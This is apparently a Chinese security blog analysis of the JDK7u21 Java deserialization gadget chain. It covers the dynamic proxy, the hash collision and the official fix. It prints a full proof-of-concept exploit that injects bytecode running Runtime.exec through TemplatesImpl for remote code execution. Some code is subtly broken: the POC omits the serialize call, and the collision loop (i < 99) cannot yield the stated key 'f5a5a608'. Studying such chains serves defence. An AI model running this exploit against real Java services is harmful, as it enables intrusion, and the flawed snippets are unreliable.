前言
Jdk7u21,jdk原生反序列化,只要jdk版本在21之前都会存在反序列化漏洞,虽然实际情况可能会很少遇见,但整个过程还是有很多学习的地方,主要就是动态代理的充分利用和hash碰撞。
POC
引入依赖:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <dependencies> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.18.2-GA</version> </dependency>
<dependency> <groupId>org.jboss.classpool</groupId> <artifactId>jboss-classpool</artifactId> <version>1.0.0.GA</version> </dependency> </dependencies>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashSet; import java.util.Map;
public class exp { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] evil = getTemplatesImpl("Calc");
setFieldValue(templates,"_bytecodes",new byte[][]{evil}); setFieldValue(templates,"_name","Evil"); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
HashMap<Object, Object> hashMap = new HashMap<>();
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Templates.class, hashMap); InvocationHandler proxy = (InvocationHandler) Proxy.newProxyInstance(handler.getClass().getClassLoader(), handler.getClass().getInterfaces(), handler); LinkedHashSet<Object> hashSet = new LinkedHashSet<>();
hashSet.add(templates); hashSet.add(proxy);
hashMap.put("f5a5a608",templates);
deserialize("ser.bin"); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } } }
|
第一个注意点:动态代理-invoke关键调用
整条链的利用并不算是很复杂,最终rce的点还是在TemplatesImpl中,这个在CC链中已经提到过很多次了,也就是类加载的过程:newTransformer –> getTransletInstance –> defineClass –> newInstance –> rce
另一个需要关注的点在AnnotationInvocationHandler中,因为是实现的InvocationHandler接口,所以后续被用作动态代理使用并重写了invoke方法:

关于动态代理,被代理的类下的所有方法被调用时都会返回到invoke方法中被调用执行,包括一个对象下本身自带的方法,比如这里用到的hashCode和equals方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public Object invoke(Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes();
if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]); assert paramTypes.length == 0; if (member.equals("toString")) return toStringImpl(); if (member.equals("hashCode")) return hashCodeImpl(); if (member.equals("annotationType")) return type; .................. }
|
equalsImpl
其中存在反射获取所有方法,并在后面invoke调用,即newTransformer.invoke
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| private Boolean equalsImpl(Object o) { if (o == this) return true;
if (!type.isInstance(o)) return false; for (Method memberMethod : getMemberMethods()) { String member = memberMethod.getName(); Object ourValue = memberValues.get(member); Object hisValue = null; AnnotationInvocationHandler hisHandler = asOneOfUs(o); if (hisHandler != null) { hisValue = hisHandler.memberValues.get(member); } else { try { hisValue = memberMethod.invoke(o); } catch (InvocationTargetException e) { return false; } catch (IllegalAccessException e) { throw new AssertionError(e); } .....................
|
hashCodeImpl
1 2 3 4 5 6 7 8 9
| private int hashCodeImpl() { int result = 0; for (Map.Entry<String, Object> e : memberValues.entrySet()) { result += (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue()); } return result; }
|
第二点 HashSet#readObject入口
选择LinkedHashSet
整条链将会用到HashMap、HashSet、LinkedHashSet、LinkedHashMap
LinkedHashSet是一个HashSet的有序集合,它继承与HashSet,在内部自己并不实现具体方法,类中四个方法都是调用父类HashSet的方法实现,而实际上在HashSet中又是使用的LinkedHashMap


AnnotationInvocationHandler中传入Templates而不是TemplatesImpl
在poc中可以看到反射构造AnnotationInvocationHandler实例化传入的Templates.class,而不是TemplatesImpl
equalsImpl#getMemberMethods


原因是Templates接口下仅有两个方法且都为无参方法,TemplatesImpl下存在很多方法并包含有很多有参方法,再看newTransformer的invoke调用点,熟悉Java反射的便知为无参调用,传入的唯一参数是TemplatesImpl实例化对象

最终 hash碰撞过程
1 2 3 4 5 6 7
| for (long i = 0; i < 99; i++) { if(Long.toHexString(i).hashCode() == 0){ System.out.println(Long.toHexString(i)); } } 得到一个结果为:f5a5a608
|
在HashMap.put中,先有hash()计算,再到关键句if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public V put(K key, V value) { if (key == null) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } }
|
发序列化过程中,HashSet被add两次值,循环遍历,第一次在调用HashMap.put,计算hash时以传入的对象来计算,因为传入的TemplatesImpl,所以这次计算结果为以TemplatesImpl计算的hashCode


因为第一次table[]中并没有值,所以在最后addEntry,添加进hashMap中

第二次遍历,put时传入AnnotationInvocationHandler(proxy)动态代理的类,当动态代理调用hash()并调用hashCode方法计算hashCode时,直接被拦截来到invoke中(动态代理特点),而memberValues为hashMap put进的值,也就是以f5a5a608为key,TemplatesImpl对象为value,而(127 * e.getKey().hashCode())
为构造的hashcode=0,所以结果取决于TemplatesImpl的hashCode,便与第一次计算的hashcode一致了

e为第一次put进的以TemplatesImpl为key,拿来与这次以proxy为key做hash比较,上面说了hash碰撞结果一致,e.key为TemplatesImpl,key为proxy是两个完全不同的东西,所以不满足,|| 左边不对才会走右边,因此满足了proxy.equals(templatesImpl),同样动态代理调用了equals方法,被代理的AnnotationInvocationHandler的invoke拦截

匹配equals,走到equalsImpl,便前后连接起来了,后续就是上面的利用链了

实际上最终自己在调这条链的时候第一次hashMap不用put也不会影响后面的rce,是有什么其他作用吗?
修复
https://github.com/openjdk/jdk7u/commit/b3dd6104b67d2a03b94a4a061f7a473bb0d2dc4e
官方的修复点在annotationinvocationhandler中,readObject只有当传入的type为annotation类型才正常执行,不是则throw一个错误;反观没更改之前直接return


也可参考:https://xz.aliyun.com/t/6884#toc-4 过程写得很详细了
https://drun1baby.top/2023/03/13/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B-JDK7u21-%E5%8E%9F%E7%94%9F%E9%93%BE/